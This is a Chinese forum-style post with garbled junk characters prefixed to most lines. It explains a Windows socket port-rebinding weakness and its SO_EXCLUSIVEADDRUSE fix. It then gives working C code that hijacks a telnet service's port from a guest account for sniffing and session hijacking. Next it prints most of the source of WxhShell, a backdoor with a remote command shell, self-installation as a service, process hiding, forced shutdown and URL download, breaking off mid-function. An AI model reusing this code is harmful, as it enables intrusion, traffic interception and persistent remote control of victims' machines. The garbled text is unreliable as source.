在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
oxs#866x s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
,prf;|e? bw7@5=?; saddr.sin_family = AF_INET;
Ytkv!]" k:;r2f saddr.sin_addr.s_addr = htonl(INADDR_ANY);
\dVOwr v+XJ*N[W bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
^sw?gH* EwN}l 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
aOp\91
wT@og|M 这意味着什么?意味着可以进行如下的攻击:
d-qUtgqV86 b9krOe*j 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
S'" Df5 6Oq7#3] 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
UNYqft4 #e"[^_C@! 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
(zk"~Ud )8AXm 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
@]j1:PN-
A"]YM'. 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
rp$'L7lrX V`- 9m$ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
!g[Zfo2r" V88p;K$+ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
vaLSH
xi *w&e\i|7 #include
x:Y1P: #include
4dlGxat #include
Hs8>anVo[ #include
zPO9!?7| DWORD WINAPI ClientThread(LPVOID lpParam);
V!Uc( int main()
6m93puY`7 {
K1KreYlF WORD wVersionRequested;
N7"W{"3D DWORD ret;
L0,'mS WSADATA wsaData;
2G7Wi!J BOOL val;
3`g^ SOCKADDR_IN saddr;
b}`TLn SOCKADDR_IN scaddr;
[JiH\+XLPs int err;
<I?Zk80 SOCKET s;
-RwE%cr SOCKET sc;
fC`&g~yK' int caddsize;
c{|p.hd HANDLE mt;
dV_G1' DWORD tid;
]^E?;1$f? wVersionRequested = MAKEWORD( 2, 2 );
la!~\wpa err = WSAStartup( wVersionRequested, &wsaData );
:TbgFQ86~ if ( err != 0 ) {
}vuO$j printf("error!WSAStartup failed!\n");
RZLq]8pM return -1;
FrS]|=LJhX }
Ui~>SN>s saddr.sin_family = AF_INET;
@"A4$`Xi3 ?s01@f# //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
[,Gg^*umS (QEG4&9 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
+7Gwg saddr.sin_port = htons(23);
@ Y+oiB~Y if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
[0!( xp^ {
01]f2.5 printf("error!socket failed!\n");
K-v#.e4 return -1;
D*jM1w_` }
B#A6v0Ta val = TRUE;
-@'FW*b //SO_REUSEADDR选项就是可以实现端口重绑定的
Lbgi7|& if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Wr
4,YQM {
p K*TE5] printf("error!setsockopt failed!\n");
1EK*g;H return -1;
dO'(2J8 }
{: /}NpA$ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
?uu*L6 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
aE8VZ8tvq //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Dt@SqX:~Ee Nn6%9PX_) if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
kiEa<-] {
{7[Ox<Ho ret=GetLastError();
N2G{<>= printf("error!bind failed!\n");
)=+|i3]U return -1;
5pX6t }
6nn*]|7 listen(s,2);
/~1+i'7V., while(1)
("KF'fp&M2 {
|!ELV7?( caddsize = sizeof(scaddr);
"oyo#-5z //接受连接请求
&ZO0r ^ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Wtnfa{gP% if(sc!=INVALID_SOCKET)
F?0Ykjh3 {
OUnA;_ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
pa+hL,w{6 if(mt==NULL)
:OT& {
M\j.8jG printf("Thread Creat Failed!\n");
_ q"Gix break;
c<~H(k'+c }
6tZI["\ }
awRX1:T#;O CloseHandle(mt);
~N4m1s" }
_`X:jj> closesocket(s);
Gv&V|7-f0 WSACleanup();
P \I|, return 0;
"+c-pO`Wg }
4g/dP^ DWORD WINAPI ClientThread(LPVOID lpParam)
mpyt5#f {
y_)FA"IkE SOCKET ss = (SOCKET)lpParam;
Ry&6p>- SOCKET sc;
tbr=aY$jY unsigned char buf[4096];
vN $s|R'@ SOCKADDR_IN saddr;
*CMx- _ long num;
BT$_@%ea& DWORD val;
)J |6 -C DWORD ret;
TeQV?ZQ#} //如果是隐藏端口应用的话,可以在此处加一些判断
rv;3~'V //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
:RYTL'hes saddr.sin_family = AF_INET;
x`s>*^ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
7<4qQ.deE saddr.sin_port = htons(23);
XW/o<[91 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
YSMAd-Ef- {
[[ZJ]^n, printf("error!socket failed!\n");
)7@0[> return -1;
)oZ dj` }
lZ0 =;I val = 100;
*p d@.|^)m if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
9WHddDA {
gw(z1L5
n ret = GetLastError();
[
~,AfY return -1;
kAx4fE[c }
2oW"'43X if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
,4rPg]r@ {
}Jw,>} ret = GetLastError();
]n~V!hl?A return -1;
}JfjX' }
?2a $*( if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
k)u[0} {
u2I Cl printf("error!socket connect failed!\n");
BUFv|z+H closesocket(sc);
=a!=2VN9y closesocket(ss);
& kIFcd@ return -1;
:&Nbw }
$]1=\I while(1)
6*?F @D2& {
$>gFf}#C //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
eyaNs{TV //如果是嗅探内容的话,可以再此处进行内容分析和记录
c> af //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
0x7'^Z>-oe num = recv(ss,buf,4096,0);
$kgVa^ if(num>0)
NA*#~ send(sc,buf,num,0);
l6B@qYLZ else if(num==0)
3$w65= break;
^aQ"E9 num = recv(sc,buf,4096,0);
g}i61( if(num>0)
]_Xlq_[/r send(ss,buf,num,0);
+p^u^a else if(num==0)
v=k$A break;
_@g;8CA }
tkhCw/ closesocket(ss);
!wNO8;( closesocket(sc);
]4{H+rw return 0 ;
-M2yw }
+(*DT9s+ Si,6o!0k {*KEP ==========================================================
B *vM0 H]!"Zq k 下边附上一个代码,,WXhSHELL
!W0v >p A
>$I
-T+ ==========================================================
+"(jjxJm !BI;C(,RL #include "stdafx.h"
/(T?j!nPE S'14hk< #include <stdio.h>
Qd6F H2Pl #include <string.h>
WHI`/FM #include <windows.h>
=xrv~ #include <winsock2.h>
':W[ A #include <winsvc.h>
HDKbF/ #include <urlmon.h>
] - .aL b[yiq$K/ #pragma comment (lib, "Ws2_32.lib")
7rA;3?p) #pragma comment (lib, "urlmon.lib")
8Y3I0S y]imZ4{/ #define MAX_USER 100 // 最大客户端连接数
}%z #define BUF_SOCK 200 // sock buffer
aT<q=DO #define KEY_BUFF 255 // 输入 buffer
eFAnFJ][L "j-CZ\]U| #define REBOOT 0 // 重启
r/sNrB1U"y #define SHUTDOWN 1 // 关机
HThcn1u~^b KG@8RtHsQ #define DEF_PORT 5000 // 监听端口
V1?]|HTQcT kLY^! #define REG_LEN 16 // 注册表键长度
ca}2TT&t #define SVC_LEN 80 // NT服务名长度
-+5>|N# Tr|JYLwF // 从dll定义API
FqifriLN typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
,47qw0=C typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
&R siVBA typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
q =Il|Nb> typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
':}\4j&{E .l|$dE/E // wxhshell配置信息
ExM,g' 7 struct WSCFG {
I|J/F}@p int ws_port; // 监听端口
Bf:Q2slqI char ws_passstr[REG_LEN]; // 口令
B:QHwzd int ws_autoins; // 安装标记, 1=yes 0=no
BD-AI char ws_regname[REG_LEN]; // 注册表键名
to\Ni~a& char ws_svcname[REG_LEN]; // 服务名
CJ%I51F`X char ws_svcdisp[SVC_LEN]; // 服务显示名
9akH char ws_svcdesc[SVC_LEN]; // 服务描述信息
|M_UQQAB| char ws_passmsg[SVC_LEN]; // 密码输入提示信息
!wp3!bLp int ws_downexe; // 下载执行标记, 1=yes 0=no
<1pEwI~ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
}i2V.tVB- char ws_filenam[SVC_LEN]; // 下载后保存的文件名
E e]-qN*8 5?L<N:;J_ };
KU;9}!# iCyfOh // default Wxhshell configuration
X@f}Q`{Ymj struct WSCFG wscfg={DEF_PORT,
1sCR4L:+ "xuhuanlingzhe",
<ih[TtZ 1,
T)CP2U "Wxhshell",
/@Zrq#o
zx "Wxhshell",
8X0z~& "WxhShell Service",
(ik\|y% A "Wrsky Windows CmdShell Service",
>j`qh:^ "Please Input Your Password: ",
c)tfAD(N8x 1,
\Roz$t-R|f "
http://www.wrsky.com/wxhshell.exe",
x`?3C"N:< "Wxhshell.exe"
ZC}QId };
T)})
pt!V wAd9 // 消息定义模块
!by\9
?n char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
fT{Yg /j char *msg_ws_prompt="\n\r? for help\n\r#>";
m4g$N) char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
L-\GHu~) char *msg_ws_ext="\n\rExit.";
z] Ue|%K char *msg_ws_end="\n\rQuit.";
Ru~j,|0r4 char *msg_ws_boot="\n\rReboot...";
E"@wek.- char *msg_ws_poff="\n\rShutdown...";
= f i$}>\ char *msg_ws_down="\n\rSave to ";
cAc@n6[`3 N&pCx& char *msg_ws_err="\n\rErr!";
BB'OCN char *msg_ws_ok="\n\rOK!";
frQ{iUx +MLVbK char ExeFile[MAX_PATH];
&=Wlaa/,& int nUser = 0;
KdlQ!5(?X HANDLE handles[MAX_USER];
V>
bCKtf& int OsIsNt;
j5ve2LiFV% >*n0n!vF SERVICE_STATUS serviceStatus;
1QJL . SERVICE_STATUS_HANDLE hServiceStatusHandle;
gO^gxJ'0t =ruao'A // 函数声明
_y>~
yZx int Install(void);
/=, nGk> int Uninstall(void);
Faf&U%]*` int DownloadFile(char *sURL, SOCKET wsh);
Lk$B{2^n int Boot(int flag);
Z<4AL\l 98 void HideProc(void);
^I)N. 5 int GetOsVer(void);
_~
&iq1 int Wxhshell(SOCKET wsl);
<9%R\_@$H void TalkWithClient(void *cs);
j)GtEP<n# int CmdShell(SOCKET sock);
BSMwdr int StartFromService(void);
)Z
VD+X int StartWxhshell(LPSTR lpCmdLine);
'ah[(F<*@e \G3rX9xG VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
""D 4s VOID WINAPI NTServiceHandler( DWORD fdwControl );
F/A|(AH' Ow077v? // 数据结构和表定义
ukY"+& SERVICE_TABLE_ENTRY DispatchTable[] =
S+2(f> Z {
Bnd [X {wscfg.ws_svcname, NTServiceMain},
f`/x"@~H5 {NULL, NULL}
,iq4Iw };
#V}IvQl| Ki~1qu: // 自我安装
yOg+iFTr int Install(void)
=>dGL| {
<rmvcim{* char svExeFile[MAX_PATH];
lA-h`rl/ HKEY key;
l0hlM# strcpy(svExeFile,ExeFile);
_7)n(1h[3b ->{KVPHe{ // 如果是win9x系统,修改注册表设为自启动
+H2-ZXr if(!OsIsNt) {
3Le{\}-$. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
XGMiW0j0B RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
*|E[L^ RegCloseKey(key);
LraWcO\or' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
p[lA\@l[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
GDy9qUV RegCloseKey(key);
gGS=cdlV return 0;
Rx|;=-8zg }
*cnNuT }
{91nL'-' }
kE(mVyLQ else {
Pco'l#: v 6Vcjm // 如果是NT以上系统,安装为系统服务
v]c6R-U SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
/^|Dbx!u if (schSCManager!=0)
R^e.s
- {
s|B3~Q] SC_HANDLE schService = CreateService
HX{`VahE (
w8D"CwS1Rx schSCManager,
lUiL\~Gq wscfg.ws_svcname,
f>Jr|#k wscfg.ws_svcdisp,
;xs"j-r/ SERVICE_ALL_ACCESS,
*r% c SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
6B
?twh) SERVICE_AUTO_START,
0,8okAH SERVICE_ERROR_NORMAL,
|id
<=Xf svExeFile,
j9OG\m NULL,
d&s9t;@= NULL,
7(
2{'r NULL,
Y7[jqb1D NULL,
bD8Gwi=iiu NULL
P_#bow );
(NnH:J` if (schService!=0)
t>B;w14 {
19KQlMO.G CloseServiceHandle(schService);
^Js9 s8?$ CloseServiceHandle(schSCManager);
b,%C{mC strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
SN!?}<|U strcat(svExeFile,wscfg.ws_svcname);
RlDn0s if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
>u8gD6X RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
*C=>X193U RegCloseKey(key);
*U\`CXn; return 0;
}I6vqG }
XNu^`Ha }
f:.I0 ST CloseServiceHandle(schSCManager);
NL0n009"c$ }
QS]1daMIK< }
Mzw X>3x H ?y,ie#u return 1;
?#YE`] }
CoAvSw {Fe[:\ // 自我卸载
-{vKus int Uninstall(void)
p`#R<K {
q,U+qt HKEY key;
f!
.<$ih _aMPa+D=P if(!OsIsNt) {
%\Mo-Ow!\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
6;qy#\}2 RegDeleteValue(key,wscfg.ws_regname);
r s?R:+ RegCloseKey(key);
Ktm4 A O if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
c#tjp(- RegDeleteValue(key,wscfg.ws_regname);
Y.ToIka{ RegCloseKey(key);
Y0K[Sm> return 0;
1,!(0
5H }
W#C*5@ 8 }
XJ5. }
rkY[E(SY else {
m&?r%x A1?2*W SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
;H.^i|_/ if (schSCManager!=0)
p >t#@Eu| {
JNUt$h SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
zeC
RK+- if (schService!=0)
u4%Pca9(= {
Y6L~K? if(DeleteService(schService)!=0) {
M$8^91%4B CloseServiceHandle(schService);
o W Nh@C CloseServiceHandle(schSCManager);
tWa)_y return 0;
:s6o"VkW }
X~,aNRy CloseServiceHandle(schService);
_v=SH$O+ }
Q=20IQp CloseServiceHandle(schSCManager);
'B0{_RaTb }
fG(SNNl+D }
TNh1hhJ$b #PQB(=299P return 1;
BC<^a )D= }
K8.!_
c :#?5X|Gz // 从指定url下载文件
f|lU6EkU int DownloadFile(char *sURL, SOCKET wsh)
i`$*Ty"x {
q Xe8Kto HRESULT hr;
I\JGs@I char seps[]= "/";
s '\Uap char *token;
RnI&8 char *file;
xJ)n4) char myURL[MAX_PATH];
z(^]J`+\ char myFILE[MAX_PATH];
)i^<r ;_z vv+z'(l strcpy(myURL,sURL);
QR0Q{}wbqU token=strtok(myURL,seps);
0C6-GKbZ while(token!=NULL)
Hi1JLW, {
bPt!yI: file=token;
l
+OFw)8od token=strtok(NULL,seps);
u=7J/!H7^ }
7.#F,Ue_0T R1GEh&U{ GetCurrentDirectory(MAX_PATH,myFILE);
4X
|(5q? strcat(myFILE, "\\");
os={PQRD strcat(myFILE, file);
g($DdKc|g send(wsh,myFILE,strlen(myFILE),0);
}$Tl ?BRpU send(wsh,"...",3,0);
W_8wed:b hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
8tFoN*M if(hr==S_OK)
EbE-}>7OO return 0;
MgrLSKLT else
$$5aUI:$~$ return 1;
c>Xs&_ QY?~ZwYB }
j; y#[| !F1N~6f // 系统电源模块
(HE9V] int Boot(int flag)
5Qn
' {
ssRbhlD/*1 HANDLE hToken;
E:}r5S)4 TOKEN_PRIVILEGES tkp;
k $J zH$ [knN:{ l if(OsIsNt) {
4$S;( OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
~%=MpQ3 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
5r8<7g:>C tkp.PrivilegeCount = 1;
q~ZNd3O tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
78# v AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
R$TB1w9] if(flag==REBOOT) {
QpA/SmJ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
71gT.E return 0;
E!l!OtFL }
^o1*a&~J@ else {
`_RTw5{ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
-w_QJ_z_ return 0;
Xudg2t)+K }
_p&]|~a }
ZR]25Yy else {
)~] (& if(flag==REBOOT) {
NzOo0tz: if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
IS
2^g>T#1 return 0;
<_tT<5'[$u }
D
(mj7oB else {
;y\IqiA{o if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
(Dl$k Gn return 0;
W$OG(m!W> }
s1NKLt }
FUjl8b-| W7\f1}]H return 1;
}w<7.I }
S.m{eur!,E ,J>5:ht(6 // win9x进程隐藏模块
WDPb!-VT void HideProc(void)
.my0|4CQ#@ {
_:C9{aEZb DhT>']Z HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
v` 7RCg` if ( hKernel != NULL )
ie\"$i.98H {
PCM-i{6/ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Ry K\uv ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
f Tl<p&b FreeLibrary(hKernel);
D+z?wuXk }
qA$*YIlK cmg^J
return;
%$Z7x\_ }
T'&I{L33Y @zz1hU // 获取操作系统版本
r1LViK int GetOsVer(void)
fhp<oe>D {
;\Y&ce OSVERSIONINFO winfo;
T}P".kpbS winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Z2='o_c GetVersionEx(&winfo);
O0No'LVu if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
xp72>*_9& return 1;
kg3EY<4i else
); dT_ return 0;
7C ,UDp| }
.wu
xoq w1#gOwA,$ // 客户端句柄模块
}36QsH8 int Wxhshell(SOCKET wsl)
;u(<h?%e {
;)e2@'Agl SOCKET wsh;
D-(w_$# struct sockaddr_in client;
3G~@H>j DWORD myID;
Z1Z1@2 T (%xwl while(nUser<MAX_USER)
Mo @C9Y0 {
K7W6ZH9; int nSize=sizeof(client);
`~;rblo; wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
@reeO= if(wsh==INVALID_SOCKET) return 1;
Jesjtcy<* [P7N{l=I handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
&2zq%((r if(handles[nUser]==0)
+0q>fp_K(+ closesocket(wsh);
e\JojaV else
Pgus42f% nUser++;
O1*NzY0Y%- }
BWuqo WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
OYmR<x5y/ 4NG?_D5& return 0;
!\L/[:n }
.Pw\~X3! .0O2Qqdg // 关闭 socket
3*)ig@e6 void CloseIt(SOCKET wsh)
?Poq2 {
yH*6@P4:0= closesocket(wsh);
Zrr5csE nUser--;
!M]\I & ExitThread(0);
sZm$|T0 }
i21Gw41p: )
^3avRsC // 客户端请求句柄
p4i]7o@ void TalkWithClient(void *cs)
16i"Yg!* {
J8)#PY[i4 P7MeX(Tay SOCKET wsh=(SOCKET)cs;
z0*_^MH char pwd[SVC_LEN];
S'B|>!z@ char cmd[KEY_BUFF];
Xo*%/0q' char chr[1];
dwd:6.J( int i,j;
P*Tx14xe4 _}VloiY while (nUser < MAX_USER) {
)V:]g\t
n>`as if(wscfg.ws_passstr) {
'ao"9-c if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
s)2fG\1 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
{aC!~qR //ZeroMemory(pwd,KEY_BUFF);
-O!Zxg5x i=0;
y>|{YWbp? while(i<SVC_LEN) {
\qR %%S adi[-L# // 设置超时
9>rPe1iv fd_set FdRead;
%T9 sz4V struct timeval TimeOut;
z2hc.29t FD_ZERO(&FdRead);
\$OF1i@ FD_SET(wsh,&FdRead);
@b~fIW_3> TimeOut.tv_sec=8;
9Q-*@6G TimeOut.tv_usec=0;
n`
TSu$ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
?zJOh^ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
B8%{}[q a~!G%})'a if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
-yg?V2 pwd
=chr[0]; VA%Un,5h
if(chr[0]==0xd || chr[0]==0xa) { CZt \JW+"
pwd=0; 2'<[7!
break; N**g]T
0`
} ee#):
-p
i++; fb:j%1WF
} /q$,'^.A
(?! ,p^
// 如果是非法用户,关闭 socket ^~HQC*
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?EK?b
s
} ~ Yngkt
I1>N4R-j
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^T,Gu-2>
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H'UR8%
T,OwM\`.X{
while(1) { -tI'3oT1
-}6xoF?
ZeroMemory(cmd,KEY_BUFF); eDZ8w
[e4]"v`N
// 自动支持客户端 telnet标准 6q6FB
j=0; %F*|;o7 s
while(j<KEY_BUFF) { *d',Vuv&[
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d 'Axum@
cmd[j]=chr[0]; c9nH}/I_
if(chr[0]==0xa || chr[0]==0xd) { ~|AwN [
cmd[j]=0; r]Ff{la5
break; @hImk`&[N
} #vqo -y7@
j++; ([VV%ovZ
} lM[XS4/TRa
b4""|P?L
// 下载文件 q;wLa#4)J
if(strstr(cmd,"http://")) { VCcr3Dx()F
send(wsh,msg_ws_down,strlen(msg_ws_down),0); *I0-O*Xr
if(DownloadFile(cmd,wsh)) rUjdq/I:Z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); oejfU;+$
else }O4se"xK
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ep4Hqx $
} FHPXu59u
else { !HJ$UG/\
)I-f U4?
switch(cmd[0]) { [J0v&{)?
N8`4veVBx'
// 帮助 DF{Qw@P!
case '?': { 6 Ik,zQL
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X5*C+ I=2
break; Lh-`OmO0>F
} (?b@b[D~4
// 安装 A;u" <KG?
case 'i': { 9r2IuS0
if(Install()) $.489x+'Z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); xT)psM'CL
else .\qj;20W
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X}6#II
break; *$M'`vj:
} V8~jf-\$b
// 卸载 U#o'H @
case 'r': { 6R29$D|HFO
if(Uninstall()) *AIEl"29
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !"TZ:"VZU
else Bz`yfl2
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fXQiNm[P
break; ;*[9Q'lI*
} ._96*r=o
// 显示 wxhshell 所在路径 a/uo}[Y
case 'p': { ag4`n:1
char svExeFile[MAX_PATH]; +/+P\O
strcpy(svExeFile,"\n\r"); D=)f
)-u'
strcat(svExeFile,ExeFile); ^SfS~GQ
send(wsh,svExeFile,strlen(svExeFile),0); VIR. yh
break; S2VVv$r_6
} Q^Bt1C
// 重启 D["MUB4l
case 'b': { :Ld!mRZF
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); VZIR4J[\.
if(Boot(REBOOT)) www`=)A;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )OsLrq/
else { 1[;@AE2Y
closesocket(wsh); YO:&;K%
ExitThread(0); jec:i-,
} `4CWE_k
break; WnAd5#G
} I}Xg&-L
// 关机 vVs#^"-nW
case 'd': { /LQ:Sv7
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $YG1z
if(Boot(SHUTDOWN)) !=*.$4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (a6?s{(
else { m^{
xd2
closesocket(wsh); )-/gLZsx
ExitThread(0); u; TvS
|
} lg1PE7
break; Jll-X\O`-
} O hR1Jaed
// 获取shell G(1 K9{i$
case 's': {
c~dM`2J,
CmdShell(wsh); tO.$+4a
closesocket(wsh); emA!Ew(g
ExitThread(0); (5uJZ!m
break; :a<hQ|p
} czBi Dk4
// 退出 xUYow
case 'x': { lz~J"$b
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ev>oC~>s
CloseIt(wsh); C/v}^#cLD
break; |&hU=J
o
} 0D)`2W
// 离开 Z]-WFU_
N
case 'q': { s!6=|SS7
send(wsh,msg_ws_end,strlen(msg_ws_end),0); p#_[
closesocket(wsh); `!w^0kZ
WSACleanup(); 8t.dPy<
exit(1); 8HoP(+?
break; qvLDfN
} C 7nKk/r
} !g0cC.'
} XSB8z
?(im+2
// 提示信息 amB@N6*
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \}inT_{g
} Y~"9L|`f/
} wTpD1"_R
r7)@M%A
return; @%@zH%b
} FUaNiAr[
_JOP[KHb
// shell模块句柄 )45_]tk>
int CmdShell(SOCKET sock) 4-:7.I(hq
{ =p\Xy*
STARTUPINFO si; ,sb1"^Wc
ZeroMemory(&si,sizeof(si)); ~|)
9RUXr>
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mpef]9
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T#iU+)-\%
PROCESS_INFORMATION ProcessInfo; GFR!n1Hv
char cmdline[]="cmd"; u;n(+8sz
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1| xN%27>
return 0; |ft:|/^F&
} 2;N@aZX
d~[UXQC
// 自身启动模式 x9}++r
int StartFromService(void) !O\X+#j
{ $au2%NL
typedef struct {of]/3=
{ 0:dB
9
DWORD ExitStatus; xYR#%! M
DWORD PebBaseAddress; <7gMl
DWORD AffinityMask; [(cL/_
DWORD BasePriority; ,z66bnjO
